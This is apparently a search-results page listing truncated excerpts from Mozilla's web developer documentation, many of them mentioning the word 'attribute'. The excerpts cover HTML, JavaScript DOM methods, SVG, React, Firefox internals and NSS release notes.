...('src','https://blog.mozilla.org/press/wp-content/themes/onemozilla/img/mozilla-wordmark.png'); document.queryselector('h1').appendchild(mywordmark); now try entering the following incorrect versions of the code and see what you get. alert('hello!); document.cheeseselector('html').style.backgroundcolor = 'purple'; const mywordmark = document.createelement('img'); mybanana.set
attribute('src','https://blog.mozilla.org/press/wp-content/themes/onemozilla/img/mozilla-wordmark.png'); document.queryselector('h1').appendchild(mywordmark); you'll start to see the kind of errors that the browser returns. often these errors are fairly cryptic, but it should be pretty simple to figure these problems out! find out more find more out about the javascript console in different browsers:...
Define terms with HTML - Learn web development
with <abbr>, so that screen readers read them appropriately and so that you can operate on all abbreviations uniformly. just as with any new keyword, you should define your abbreviations the first time they occur. <p> <dfn><abbr>html</abbr> (hypertext markup language)</dfn> is a description language used to structure documents on the web. </p> the html spec does indeed set aside the title
attribute for expanding the abbreviation. however, this is not an acceptable alternative for providing an inline expansion. the contents of title are completely hidden from your users, unless they're using a mouse and they happen to hover over the abbreviation. the spec duly acknowledges this as well. improve accessibility <dfn> marks the keyword defined, and indicates that the current paragraph defines...
...uly acknowledges this as well. improve accessibility <dfn> marks the keyword defined, and indicates that the current paragraph defines the keyword. in other words, there's an implicit relationship between the <dfn> element and its container. if you want a more formal relationship, or your definition consists of only one sentence rather than the whole paragraph, you can use the aria-describedby
attribute to associate a term more formally with its definition: <p> <span id="ff"> <dfn aria-describedby="ff">firefox</dfn> is the web browser created by the mozilla foundation. </span> you can download it at <a href="http://www.mozilla.org">mozilla.org</a> </p> assistive technology can often use this
attribute to find a text alternative to a given term. you can use aria-describedby on any...
...rowser displays the foregoing list: if you want the keywords to stand out better, you could try bolding them. remember, html is not a visual medium; we need css for all visual effects. the css font-weight property is what you need here: dt { font-weight: bold; } this produces the slightly more readable result below: learn more <dfn> <dl> <dt> <dd> how to use the aria-describedby
attribute ...
Test your skills: Links - Learn web development
blue whales and sperm whales. the second link should be turned into a link you can click to open up an email in the user's default mail application, with the recipient set as "whales@example.com". you'll get a bonus point if you also set it so that the subject line of the email is automatically filled in as "question about whales". note: the first link in the example has the target="_blank"
attribute set on it, so that when you click on it, it opens the page in a new tab. this is not strictly best practice, but we've done it here so that the page doesn't open in the embedded <iframe>, getting rid of your example code in the process! try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online edit...
...ated one directory level above the current directory. the third link should link to the uk google image search. the base url is https://www.google.co.uk, and the image search is located in a subdirectory called imghp. the fourth link should link to the paragraph at the very bottom of the current page. it has an id of bottom. note: the first three links in the example have the target="_blank"
attribute set on them, so that when you click on them, they open the linked page in a new tab. this is not strictly best practice, but we've done it here so that the pages don't open in the embedded <iframe>, getting rid of your example code in the process! try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an ...
...s 3 the following links link to an info page about narwhals, a support email address, and a pdf factfile that is 4mb in size. in this task we want you to: take the existing paragraphs with poorly-written link text, and rewrite them so that they have good link text. add a warning to any links that need a warning added. note: the first and third links in the example have the target="_blank"
attribute set on them, so that when you click on them, they open the linked page in a new tab. this is not strictly best practice, but we've done it here so that the pages don't open in the embedded <iframe>, getting rid of your example code in the process! try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an ...
Adding vector graphics to the Web - Learn web development
cribed above. note: in inkscape, save your files as plain svg to save space. also, please refer to this article describing how to prepare svgs for the web. adding svg to your pages in this section we'll go through the different ways in which you can add svg vector graphics to your web pages. the quick way: <img> to embed an svg via an <img> element, you just need to reference it in the src
attribute as you'd expect. you will need a height or a width
attribute (or both if your svg has no inherent aspect ratio). if you have not already done so, please read images in html. <img src="equilateral.svg" alt="triangle with all three sides equal" height="87" width="100" /> pros quick, familiar image syntax with built-in text equivalent available in the alt
attribute. you can mak...
...ou want to control the svg content with css, you must include inline css styles in your svg code. (external stylesheets invoked from the svg file take no effect.) you cannot restyle the image with css pseudoclasses (like :focus). troubleshooting and cross-browser support for browsers that don't support svg (ie 8 and below, android 2.3 and below), you could reference a png or jpg from your src
attribute and use a srcset
attribute (which only recent browsers recognize) to reference the svg. this being the case, only supporting browsers will load the svg — older browsers will load the png instead: <img src="equilateral.png" alt="triangle with equal sides" srcset="equilateral.svg"> you can also use svgs as css background images, as shown below. in the below code, older browsers will stick with ...
... <svg width="300" height="200"> <rect width="100%" height="100%" fill="green" /> </svg> pros putting your svg inline saves an http request, and therefore can reduce a bit your loading time. you can assign classes and ids to svg elements and style them with css, either within the svg or wherever you put the css style rules for your html document. in fact, you can use any svg presentation
attribute as a css property. inlining svg is the only approach that lets you use css interactions (like :focus) and css animations on your svg image (even in your regular stylesheet.) you can make svg markup into a hyperlink by wrapping it in an <a> element. cons this method is only suitable if you're using the svg in only one place. duplication makes for resource-intensive maintenance. extra svg c...
Build your own function - Learn web development
name we want to give to our function, a set of parentheses, and a set of curly braces. any parameters we want to give to our function go inside the parentheses, and the code that runs when we call the function goes inside the curly braces. ...
...e to it in a constant called html, so we can do things to it later on: const html = document.queryselector('html'); the next section uses another dom api function called document.createelement() to create a <div> element and store a reference to it in a constant called panel. this element will be the outer container of our message box. we then use yet another dom api function called element.set
attribute() to set a class
attribute on our panel with a value of msgbox. this is to make it easier to style the element — if you look at the css on the page, you'll see that we are using a .msgbox class selector to style the message box and its contents. finally, we call a dom function called node.appendchild() on the html constant we stored earlier, which nests one element inside the other as a child ...
...function called node.appendchild() on the html constant we stored earlier, which nests one element inside the other as a child of it. we specify the panel <div> as the child we want to append inside the <html> element. we need to do this as the element we created won't just appear on the page on its own — we need to specify where to put it. const panel = document.createelement('div'); panel.set
attribute('class', 'msgbox'); html.appendchild(panel); the next two sections make use of the same createelement() and appendchild() functions we've already seen to create two new elements — a <p> and a <button> — and insert them in the page as children of the panel <div>. we use their node.textcontent property — which represents the text content of an element — to insert a message inside the parag...
Drawing graphics - Learn web development
rst make a local copy of our 0_canvas_start.html file, and open it in your text editor. add the following code into it, just below the opening <body> tag: <canvas class="mycanvas"> <p>add suitable fallback here.</p> </canvas> we have added a class to the <canvas> element so it will be easier to select if we have multiple canvases on the page, but we have removed the width and height
attributes for now (you could add them back in if you wanted, but we will set them using javascript in a below section). canvases with no explicit width and height default to 300 pixels wide by 150 pixels high. now add the following lines of javascript inside the <script> element: const canvas = document.queryselector('.mycanvas'); const width = canvas.width = window.innerwidth; const height = can...
...r full-window-size canvas, results in a document that's wider than the window. to get rid of the scrollbars, we need to remove the margin and also set overflow to hidden. add the following into the <head> of your document: <style> body { margin: 0; overflow: hidden; } </style> the scrollbars should now be gone. note: you should generally set the size of the image using html
attributes or dom properties, as explained above. you could use css, but the trouble then is that the sizing is done after the canvas has rendered, and just like any other image (the rendered canvas is just an image), the image could become pixellated/distorted. getting the canvas context and final setup we need to do one final thing before we can consider our canvas template finished. to draw onto the ...
... let's start by getting an image source to embed in our canvas. add the following lines to the bottom of your javascript: let image = new image(); image.src = 'firefox.png'; here we create a new htmlimageelement object using the image() constructor. the returned object is the same type as that which is returned when you grab a reference to an existing <img> element). we then set its src
attribute to equal our firefox logo image. at this point, the browser starts loading the image. we could now try to embed the image using drawimage(), but we need to make sure the image file has been loaded first, otherwise the code will fail. we can achieve this using the onload event handler, which will only be invoked when the image has finished loading. add the following block below the previous ...
Manipulating documents - Learn web development
ment. if you wanted to match and do things to multiple elements, you could use document.queryselectorall(), which matches every element in the document that matches the selector, and stores references to them in an array-like object called a nodelist. there are older methods available for grabbing element references, such as: document.getelementbyid(), which selects an element with a given id
attribute value, e.g. <p id="myid">my paragraph</p>. the id is passed to the function as a parameter, i.e. const elementref = document.getelementbyid('myid'). document.getelementsbytagname(), which returns an array-like object containing all the elements on the page of a given type, for example <p>s, <a>s, etc. the element type is passed to the function as a parameter, i.e. const elementrefarray = documen...
... dynamically manipulate styles on your document, which we'll look at now. delete the previous five lines you added to the javascript. ...
...t, which we'll look at now. delete the previous five lines you added to the javascript. add the following inside your html <head>: <style> .highlight { color: white; background-color: black; padding: 10px; width: 250px; text-align: center; } </style> now we'll turn to a very useful method for general html manipulation — element.set
attribute() — this takes two arguments, the
attribute you want to set on the element, and the value you want to set it to. in this case we will set a class name of highlight on our paragraph: para.set
attribute('class', 'highlight'); refresh your page, and you'll see no change — the css is still applied to the paragraph, but this time by giving it a class that is selected by our css rule, not as inline css styles. which method you choose is ...
Web performance resources - Learn web development
rs use http/2 on your server (or cdn). use a cdn for resources which can reduce load times significantly. compress your resources using gzip, brotli, and zopfli. image optimization (use css animation, or svg if possible). lazy loading parts of your application outside the viewport. if you do, have a backup plan for seo (e.g render full page for bot traffic); for example, by using the loading
attribute on the <img> element it is also crucial to realize what is really important to your users. it might not be absolute timing, but user perception. quick wins css web performance is all about user experience and perceived performance. as we learned in the critical rendering path document, linking css with a tradional link tag with rel="stylesheet" is synchronous and blocks rendering. optimize t...
... experience and perceived performance. as we learned in the critical rendering path document, linking css with a tradional link tag with rel="stylesheet" is synchronous and blocks rendering. optimize the rendering of your page by removing blocking css. to load css asynchronously one can simpy set the media type to print and then change to all once loaded. the following snippet includes an onload
attribute, requiring javascript, so it is important to include a noscript tag with a traditional fallback. <link rel="stylesheet" href="/path/to/my.css" media="print" onload="this.media='all'"> <noscript><link rel="stylesheet" href="/path/to/my.css"></noscript> the downside with this approach is the flash of unstyled text (fout.) the simplist way to address this is by inlining css that is required for a...
...out.) the simplist way to address this is by inlining css that is required for any content that is rendered above the fold, or what you see in the browser viewport before scrolling. these styles will improve perceived performance as the css does not require a file request. <style type="text/css"> // insert your css here </style> javascript avoid javascript blocking by using the async or defer
attributes, or link javascript assets after the page's dom elements. javascript only block rendering for elements that appear after the script tag in the dom tree. web fonts eot and ttf formats are not compressed by default. apply compression such as gzip or brotli for these file types. use woff and woff2. these formats have compression built in. within @font-face use font-display: swap. by using font d...
Componentizing our React app - Learn web development
t change one thing. that's a good job for another prop! give each <todo /> call in app.js a new prop of completed. the first (eat) should have a value of true; the rest should be false: <todo name="eat" completed={true} /> <todo name="sleep" completed={false} /> <todo name="repeat" completed={false} /> as before, we must go back to todo.js to actually use these props. change the defaultchecked
attribute on the <input /> so that its value is equal to the completed prop. once you’re done, the todo component's <input /> element will read like this: <input id="todo-0" type="checkbox" defaultchecked={props.completed} /> and your browser should update to show only eat being checked: if you change each <todo /> component’s completed prop, your browser will check or uncheck the equivalent rende...
...<input /> element will read like this: <input id="todo-0" type="checkbox" defaultchecked={props.completed} /> and your browser should update to show only eat being checked: if you change each <todo /> component’s completed prop, your browser will check or uncheck the equivalent rendered checkboxes accordingly. gimme some id, please right now, our <todo /> component gives every task an id
attribute of todo-0. this is bad html because id
attributes must be unique (they are used as unique identifiers for document fragments, by css, javascript, etc.). this means we should give our component an id prop that takes a unique value for each todo. to follow the same pattern we had initially, let's give each instance of the <todo /> component an id in the format of todo-i, where i gets larger by one...
...same pattern we had initially, let's give each instance of the <todo /> component an id in the format of todo-i, where i gets larger by one every time: <todo name="eat" completed={true} id="todo-0" /> <todo name="sleep" completed={false} id="todo-1" /> <todo name="repeat" completed={false} id="todo-2" /> now go back to todo.js and make use of the id prop. it needs to replace the value of the id
attribute of the <input /> element, as well as the value of its label's htmlfor
attribute: <div classname="c-cb"> <input id={props.id} type="checkbox" defaultchecked={props.completed} /> <label classname="todo-label" htmlfor={props.id}> {props.name} </label> </div> so far, so good? we’re making good use of react so far, but we could do better! our code is repetitive. the three lines that ren...
React interactivity: Events and state - Learn web development
act, we write event handlers directly on the elements in our jsx, like this: <button type="button" onclick={() => alert("hi!")} > say hi! </button> note: this may seem counter-intuitive regarding best-practice advice that tends to advise against use of inline event handlers on html, but remember that jsx is actually part of your javascript. in the above example, we're adding an onclick
attribute to the <button> element. the value of that
attribute is a function that triggers a simple alert. the onclick
attribute has special meaning here: it tells react to run a given function when the user clicks on the button. there are a couple of other things to note: the camel-cased nature of onclick is important — jsx will not recognize onclick (again, it is already used in javascript for a sp...
... at the top of the form() component function, create a function named handlesubmit(). this function should prevent the default behavior of the submit event. after that, it should trigger an alert(), which can say whatever you’d like. it should end up looking something like this: function handlesubmit(e) { e.preventdefault(); alert('hello, world!'); } to use this function, add an onsubmit
attribute to the <form> element, and set its value to the handlesubmit function: <form onsubmit={handlesubmit}> now if you head back to your browser and click on the "add" button, your browser will show you an alert dialog with the words "hello, world!" — or whatever you chose to write there. callback props in react applications, interactivity is rarely confined to just one component: events that hap...
...name] = usestate('use hooks!'); what's going on in this line of code? we are setting the initial name value as "use hooks!". we are defining a function whose job is to modify name, called setname(). usestate() returns these two things, so we are using array destructuring to capture them both in separate variables. reading state you can see the name state in action right away. add a value
attribute to the form’s input, and set its value to name. your browser will render "use hooks!" inside the input. <input type="text" id="new-todo-input" classname="input input__lg" name="text" autocomplete="off" value={name} /> change "use hooks!" to an empty string once you're done; this is what we want for our initial state. const [name, setname] = usestate(''); reading user input befo...
Implementing feature detection - Learn web development
eas the other two css files contain the css we want to selectively apply to browser depending on their support levels. you can look at the different effects these two files have by manually changing the css file referred to by the second <link> element, but let's instead implement some javascript to automatically swap them as needed. first, remove the contents of the second <link> element's href
attribute. we will fill this in dynamically later on. next, add a <script></script> element at the bottom of your body (just before the closing </body> tag). give it the following contents: const conditional = document.queryselector('.conditional'); const testelem = document.createelement('div'); if (testelem.style.flex !== undefined && testelem.style.flexflow !== undefined) { conditional.setattribut...
...a <script></script> element at the bottom of your body (just before the closing </body> tag). give it the following contents: const conditional = document.queryselector('.conditional'); const testelem = document.createelement('div'); if (testelem.style.flex !== undefined && testelem.style.flexflow !== undefined) { conditional.set
attribute('href', 'flex-layout.css'); } else { conditional.set
attribute('href', 'float-layout.css'); } here we are grabbing a reference to the second <link> element, and creating a <div> element as part of our test. in our conditional statement, we test that the flex and flex-flow properties exist in the browser. note how the javascript representations of those properties that are stored inside the htmlelement.style object use lower camel case, not hyphens, to se...
... is a property that allows you to run media query tests inside javascript. it looks like this: if (window.matchmedia("(max-width: 480px)").matches) { // run javascript in here. } as an example, our snapshot demo makes use of it to selectively apply the brick javascript library and use it to handle the ui layout, but only for the small screen layout (480px wide or less). ...
Accessibility/LiveRegionDevGuide
re truly live regions. these "non-live" events may be events originating from the chrome, user interaction in the chrome or document, document loading events, or real live region events from hidden tabs. with the goal of eliminating the "non-live" events, some sort of event filtering logic must be employed. the following is a list of potential filtering techniques: the "event-from-input" object
attribute can be used to filter events that were triggered by user action. the ":system" (or lack thereof) can be used to filter events that are system generated. (at-spi only) a global variable can be set in a document:load:complete event listener and reset in a object:state-changed:busy listener. this variable can then be used to quickly determine if an event was triggered by the document being loaded.
...omplete event listener and reset in a object:state-changed:busy listener. this variable can then be used to quickly determine if an event was triggered by the document being loaded. an event containing an object that does not have state visible is probably from a hidden tab. an event containing an object that has state selectable is not a live region. ...
...ded. an event containing an object that does not have state visible is probably from a hidden tab. an event containing an object that has state selectable is not a live region. an event containing an object that has the
attribute "container-live" is a live region. however, many web sites do not have proper aria markup so this cannot be used by itself. an event containing an object that has an
attribute "tag:xul*" is not a live region. an event that has an object that is not a descendant of the document frame is not a live region. live properties this table describe the object
attributes associated with a live region event. the following are guidelines on how to implement each container-live this property determines the interruption policy or politeness level for the event and can have ...
Adding a new event
structor of the most descendant class because each constructor creates dummy internal event instance at calling constructors of its super class. therefore, super classes always set it false. don't override methods of its super classes as far as possible since overriding the method may cause harder to maintain. when you need to check if the caller content or chrome, you can use implicitjscontext
attribute in dom/bindings/bindings.conf. then, the method can have a pointer of jscontext in its argument. create dom event factory method if your dom event implementation is generatable, you can skip this section. in nsidomevent.idl, you need to define ns_newdomfooevent(). it's last argument should be the most subclass. then, the implementation of the dom event can access internal event class instan...
...event("fooevent"); if you support this feature, you need to modify here. however, this feature shouldn't be implemented for compabitility with other browsers since web applications should use event constructor. register each event into eventnamelist.h if you're in case 3, you can skip this section. ...
...if your event cannot be fired easy, you should add the test but canrun should return false and call todo(). ...
Commenting IDL for better documentation
dented from the previous level by two spaces. other tips some other helpful writing style tips that will help you make your comments cleaner and easier to read and understand: you don't need to include what a method returns in the description. just include the @returns line. this helps avoid repetition and keeps your comment more streamlined. everything in the doxygen comment before a method,
attribute, constant, or whatnot will be used as part of its description when the automatic documentation generator tool scans your idl, so if you don't want it in the docs, you probably shouldn't put it there. use a different format of comment instead, such as simply /* ... */ or even // comment. example this is an example of what the sample interface document idl would look like: /** * @brief a make-bel...
...ss constants /** * the cookie is disgusting. */ const integer cookie_not_yummy = 1; /** * the cookie is good but not awesome. */ const integer cookie_sort_of_yummy = 2; /** * the cookie is really, really yummy. */ const integer cookie_extremely_yummy = 3; /** * omg this is the best cookie evar!1!!1. */ const integer cookie_omg_yummy = 4; /** * the cookie monster's name. ...
... */ const integer cookie_sort_of_yummy = 2; /** * the cookie is really, really yummy. */ const integer cookie_extremely_yummy = 3; /** * omg this is the best cookie evar!1!!1. */ const integer cookie_omg_yummy = 4; /** * the cookie monster's name. */ readonly
attribute astring name; /** * the cookie monster's favorite kind of cookie. must be one of the * cookie_flavor_* constants. */
attribute integer favoritecookie; /** * a value from 0-100 indicating how hungry the cookie monster is. * 0 means "stuffed to the brim with cookies" and 100 means "i'm so empty of * cookies! feed me now!" */
attribute integer hungerlevel; /** * feeds a cookie to the cookie monster. * @param cookietoeat the nsicookie to eat. */ void eatcookie(in nsicookie cookietoeat); /** * sings the song "c is ...
Experimental features in Firefox
based modal dialog boxes. the current implementation is a little inelegant but is basically functional. see bug 840640 for more details. release channel version added enabled by default? nightly 53 yes developer edition 53 no beta 53 no release 53 no preference name dom.dialog_element.enabled global
attribute: inputmode our implementation of the inputmode global
attribute has been updated as per the whatwg spec (bug 1509527), but we still need to make other changes too, like making it available on contenteditable content. see also bug 1205133 for details. release channel version added enabled by default? nightly 75 yes developer edition 75 no ...
...her changes too, like making it available on contenteditable content. see also bug 1205133 for details. release channel version added enabled by default? nightly 75 yes developer edition 75 no beta 75 no release 75 no preference name dom.forms.inputmode <link rel="preload"> the <link> element's rel
attribute is intended to help provide performance gains by letting you download resources earlier in the page lifecycle, ensuring that they're available earlier and are less likely to block page rendering. read preloading content with rel="preload" for more details. for more details on the status of this feature, see bug 1639607. release channel version added enabled by default? ...
... on this api. release channel version added enabled by default? nightly 73 no developer edition 73 no beta 73 no release 73 no preference name dom.webgpu.enabled html dom api global event: beforeinput the global beforeinput event is sent to an <input> element—or any element whose contenteditable
attribute is enabled—immediately before the element's value changes. release channel version added enabled by default? nightly 74 no developer edition 74 no beta 74 no release 74 no preference name dom.input_events.beforeinput.enabled htmlmediaelement method: setsinkid() htmlmediaelement.setsinkid() allows...
Performance best practices for Firefox front-end engineers
here presumably the user isn’t doing something. see also the blog post collective scheduling with requestidlecallback. as of bug 1353206, you can also schedule idle events in non-dom contexts by using services.tm.idledispatchtomainthread. see the nsithreadmanager.idl file for more details. hide your panels if you’re adding a new xul <xul:popup> or <xul:panel> to a document, set the hidden
attribute to true by default. by doing so, you cause the binding applied on demand rather than at load time, which makes initial construction of the xul document faster. get familiar with the pipeline that gets pixels to the screen learn how pixels you draw make their way to the screen. knowing the path they will take through the various layers of the browser engine will help you optimize your code to av...
...iding synchronous style flushes what are style flushes? when css is applied to a document (html or xul, it doesn’t matter), the browser does calculations to figure out which css styles will apply to each element. this happens the first time the page loads and the css is initially applied, but can happen again if javascript modifies the dom. javascript code might, for example, change dom node
attributes (either directly or by adding or removing classes from elements), and can also add, remove, or delete dom nodes. because styles are normally scoped to the entire document, the cost of doing these style calculations is proportional to the number of dom nodes in the document (and the number of styles being applied). it is expected that over time, script will update the dom, requiring us to recalc...
...backs that are scheduled to fire in the same tick of the refresh driver. bug 1441168 tracks work to make it impossible to modify the dom within a promisedocumentflushed callback. writing tests to ensure you don’t add more synchronous style flushes unlike reflow, there isn’t a “observer” mechanism for style recalculations. however, as of firefox 49, the nsidomwindowutils.elementsrestyled
attribute records a count of how many style calculations have occurred for a particular dom window. it should be possible to write a test that gets the nsidomwindowutils for a browser window, records the number of styleflushes, then synchronously calls the function that you want to test, and immediately after checks the styleflushes
attribute again. if the value went up, your code caused synchronous style...
Firefox UI considerations for web developers
gh-resolution icon is found, a screenshot is taken of the site; this screenshot is then scaled and cropped to fit in the space allotted to the icon. if the site also has a favicon, it may be overlaid in the corner of the image. the selected image is then presented within the top sites list. rich icons the high resolution icons—also known as rich icons—are specified by setting the rel
attribute to one of: apple-touch-icon apple-touch-icon-precomposed fluid-icon the size of each icon is taken from the size
attribute specified on the <link>, if it's provided. apple-touch-icon and apple-touch-icon-precomposed icons with no size
attribute are assumed to be the standard classic iphone size of 57x57 pixels. the icon closest in size to 96 pixels is selected. firefox does its best to av...
...re assumed to be the standard classic iphone size of 57x57 pixels. the icon closest in size to 96 pixels is selected. firefox does its best to avoid having to scale the images, which can result in fuzzy or distorted images, especially at smaller sizes. providing a top sites ready icon the simple rule is to provide an icon which is at least 96x96 pixels in size, using a <link> element whose rel
attribute is a reference to a file containing an icon of a supported type. <link rel="apple-touch-icon" sizes="128x128" href="touch-icon-128x128.png"> <link rel="apple-touch-icon" sizes="46x46" href="touch-icon-46x46.png"> <link rel="apple-touch-icon" sizes="256x256" href="touch-icon-256x256.png"> <link rel="icon" href="favicon.ico"> in this code, the 128x128 pixel icon will be used by firefox, as it's ...
... rel="apple-touch-icon" sizes="46x46" href="touch-icon-46x46.png"> <link rel="apple-touch-icon" sizes="256x256" href="touch-icon-256x256.png"> <link rel="icon" href="favicon.ico"> in this code, the 128x128 pixel icon will be used by firefox, as it's the smallest icon which is larger than the 96-pixel size it requires. note: only "rich" icons (apple-touch-icon and fluid-icon) support the sizes
attribute. you can't specify the size for rel="icon" using the sizes
attribute. examples consider again the example top sites box shown at the top of the page, repeated below: let's look at some examples among the icons shown here (note that this discussion is based on the site designs as of early january, 2019). usa today the only icon provided by usa today is its classic favicon: <link rel="shor...
OS.File for the main thread
if unspecified, files are opened with a default sharing policy (file is not protected against being read/written/removed by another process or another use in the same process). you can build this policy from constants os.constants.win.file_share_*. winsecurity (ignored under non-windows platforms) if specified, a security policy, as per windows function createfile. if unspecified, no security
attributes. winaccess (ignored under non-windows platforms) if specified, access mode, as per windows function createfile. this also requires option windisposition and this replaces argument mode. if unspecified, value is built from mode. windisposition (ignored under non-windows platforms) if specified, disposition mode, as per windows function createfile. this also requires option winaccess and t...
...pecified, file creation mode, as per libc function mkdir. if unspecified, directories are created with a default mode of 0600 (file is private to the user, the user can read and write). you can build this mode from values os.constants.libc.s_i*. winsecurity (ignored under non-windows platforms) if specified, a security policy, as per windows function createdirectory. if unspecified, no security
attributes. from if specified, the call to makedir creates all the ancestors of path that are descendents of from. note that from and its existing descendents must be user-writeable and that path must be a descendent of from. os.file.move() move a file. promise<void> move( in string sourcepath, in string destpath [optional] in object options ) arguments sourcepath the full path of the file...
...if omitted or null, the current date will be used. promise can be rejected with os.file.error in case of any error, in particular if the path does not represent an existing file. os.file.setpermissions() sets the file's access permission bits. promise<void> setpermissions( in string path, in object options ) arguments path the complete path to the file. options the new
attributes to set win
attributes this is an object with following optional keys. ignored under non-windows platforms. hidden boolean. set to true to make the target hidden, or false to make it visible. readonly boolean. set to true to make the target "read only". system boolean. toggles the "system"
attribute, this is equivalent . unixmode number. this is an number can be created with the constant...
Creating localizable web applications
to slightly simplify the localized version of your web application than to serve a mix of localized and english content. for example, if not all the pages of your website are going to be localized, you may consider removing links to the english-only pages from the navigation (headers, footers, sidebars) in the localized versions. define the locale and the direction in the html generate the lang
attribute dynamically, depending on the current locale. use the dir
attribute on the <html/> element and consider using a rtl class on <html/> or <body/> as well, in order to easily change css rules like in the example below. snippet 1. bad: <html lang="en"> snippet 2. good: css: html[dir='rtl'] foo { /* rtl-specific rules for the foo element */ } body.rtl foo { /* rtl-specific rules for the foo...
...t 8. good: <p class="description"><strong><?= _("description:");?></strong></p> snippet 9. good: <h1> <?printf("<a href=\"%s\"><img src=\"/static/img/logo.png\" alt=\"" . _("mozilla labs personas") . "\" /></a>", $locale_conf->url('/'));?> </h1> snippet 10. better: <h1> <a href="<?= $locale_conf->url('/') ?>"> <img src="/static/img/logo.png" alt="<?= /* l10n: link title
attribute */ _("mozilla labs personas"); ?> " /> </a> </h1> ...but don't sacrifice flexibility don't sacrifice flexibility trying to satisfy the rule above. make sure the content supports changing the order of the sentence, which may be required by some grammars. snippet 1. bad: <p class="added"><?= _("<strong>added:</strong>") . $persona['date']; ?></p> snippet 2. bad: <p class="added"><strong><?=...
...starting with this prefix using the --add-comments=prefix option, for example xgettext --add-comments=l10n. snippet 1. bad: <h1> <a href="<?= $locale_conf->url('/') ?>"> <img src="/static/img/logo.png" alt="<?= _("mozilla labs personas"); ?>" /> </a> </h1> snippet 2. good: <h1> <a href="<?= $locale_conf->url('/') ?>"> <img src="/static/img/logo.png" alt="<?= /* l10n: link title
attribute */ _("mozilla labs personas") ?> " /> </a> </h1> snippet 3. bad: <p class="added"><? printf(_("<strong>added:</strong> %s"), $persona['date']);?></p> snippet 4. good: <p class="added"><? printf( /* l10n: %s is a date */ _("<strong>added:</strong> %s"), $persona['date']);?></p> snippet 5. bad: printf(_("%1$s by %2$s"), $persona['name'], $persona['display_username']); snippet 6. good...
MathML In Action
addeventlistener("click", zoomtoggle, false); } window.addeventlistener("load", load, false); consider an interesting markup like this { u t + f ( u ) x = 0 ...
... addeventlistener("click", zoomtoggle, false); } window.addeventlistener("load", load, false); consider an interesting markup like this { u t + f ( u ) x = 0 u ( 0 , x ) = { u - if x...
... addeventlistener("click", zoomtoggle, false); } window.addeventlistener("load", load, false); consider an interesting markup like this { u t + f ( u ) x = 0 u ( 0 , x ) = { u - if x < 0 u + if x > 0 or other c...
Midas
led, the document becomes editable by the user. scripting for midas is based on the dhtml commands supported by internet explorer. internet explorer supports the ability to make an entire document editable by setting the designmode property of the document object; this is how midas is invoked in gecko. internet explorer also supports the ability to edit specific elements using the contenteditable
attribute; starting with firefox 3, gecko also supports contenteditable. once midas is invoked, a few more methods of the document object become available. you can try demo of this here. properties document.designmode by setting this property to "on", the document becomes editable. notes since an entire document becomes editable, authors often load the editable document into an iframe and do the b...
... delete this command will delete all text and objects that are selected. if no text is selected it deletes one character to the right. this is similar to the delete button on the keyboard. fontname a font name this command will set the font face for a selection or at the insertion point if there is no selection. the given string is such as would be used in the "face"
attribute of the font tag, i.e., a comma-separated list of font names. fontsize a number this command will set the fontsize for a selection or at the insertion point if there is no selection. the given number is such as would be used in the "size"
attribute of the font tag. forecolor a color code this command will set the text color of the selection or at the inser...
...ready striked, the strikethrough will be removed. otherwise, all selected characters will have a line drawn through them. stylewithcss this command is used for toggling the format of generated content. by default (at least today), this is true. an example of the differences is that the "bold" command will generate <b> if the stylewithcss command is false and generate css style
attribute if the stylewithcss command is true. subscript if there is no selection, the insertion point will set subscript for subsequently typed characters. if there is a selection and all of the characters are already subscripted, the subscript will be removed. otherwise, all selected characters will be drawn slightly lower than normal text. superscript if there is ...
Process Management and Interprocess Communication
ard i/o streams of the child process to specified file descriptors. note that the functions described in this chapter are not available for macos or win16 operating systems. ...
...hat the functions described in this chapter are not available for macos or win16 operating systems. ...
...s or win16 operating systems. ...
Cryptography functions
3.2 and later pk11_pubunwrapsymkey mxr 3.2 and later pk11_pubunwrapsymkeywithflags mxr 3.6 and later pk11_pubunwrapsymkeywithflagsperm mxr 3.9 and later pk11_pubwrapsymkey mxr 3.2 and later pk11_randomupdate mxr 3.2 and later pk11_readraw
attribute mxr 3.9.2 and later pk11_referencesymkey mxr 3.2 and later pk11_resettoken mxr 3.4 and later pk11_restorecontext mxr 3.2 and later pk11_savecontext mxr 3.2 and later pk11_savecontextalloc mxr 3.6 and later pk11_setfortezzahack ...
....2 and later pk11_traverseslotcerts mxr 3.4 and later pk11_unlinkgenericobject mxr 3.9.2 and later pk11_unwrapsymkey mxr 3.2 and later pk11_unwrapsymkeywithflags mxr 3.2 and later pk11_unwrapsymkeywithflagsperm mxr 3.9 and later pk11_updateslot
attribute mxr 3.8 and later pk11_userenableslot mxr 3.8 and later pk11_userdisableslot mxr 3.8 and later pk11_verify mxr 3.2 and later pk11_verifykeyok mxr 3.2 and later pk11_waitfortokenevent mxr 3.7 and later pk11_wrapsymkey mxr ...
... pk11_userenableslot mxr 3.8 and later pk11_userdisableslot mxr 3.8 and later pk11_verify mxr 3.2 and later pk11_verifykeyok mxr 3.2 and later pk11_waitfortokenevent mxr 3.7 and later pk11_wrapsymkey mxr 3.2 and later pk11_writeraw
attribute mxr 3.12 and later pk11sdr_encrypt mxr 3.2 and later pk11sdr_decrypt mxr 3.2 and later sec_deletepermcertificate mxr 3.2 and later sec_deletepermcrl mxr 3.2 and later sec_dersigndata mxr 3.2 and later sec_destroycrl mxr ...
NSS 3.28.3 release notes
3.28.3 new functionality no new functionality is introduced in this release. this is a patch release to fix binary compatibility issues. bugs fixed in nss 3.28.3 nss version 3.28, 3.28.1 and 3.28.2 contained changes that were in violation with the nss compatibility promise. ecparams, which is part of the public api of the freebl/softokn parts of nss, had been changed to include an additional
attribute. ...
...see bug 1340103. ...
...h ecpublickey, ecprivatekey, nsslowkeypublickey, nsslowkeyprivatekey, or potentially other data structures that reference ecparams. the change has been reverted to the original state in bug 1334108. seckeyecpublickey had been extended with a new
attribute, named "encoding". if an application passed type seckeyecpublickey to nss (as part of seckeypublickey), the nss library read the uninitialized
attribute. with this nss release seckeyecpublickey.encoding is deprecated. nss no longer reads the
attribute, and will always set it to ecpoint_undefined. see bug 1340103. compatibility nss 3.28.3 shared libraries are backward compatible with most older nss 3.x shared libraries, but depending on your application, may be incompatible, if you application has been compiled against header files of versions 3...
NSS 3.29.1 release notes
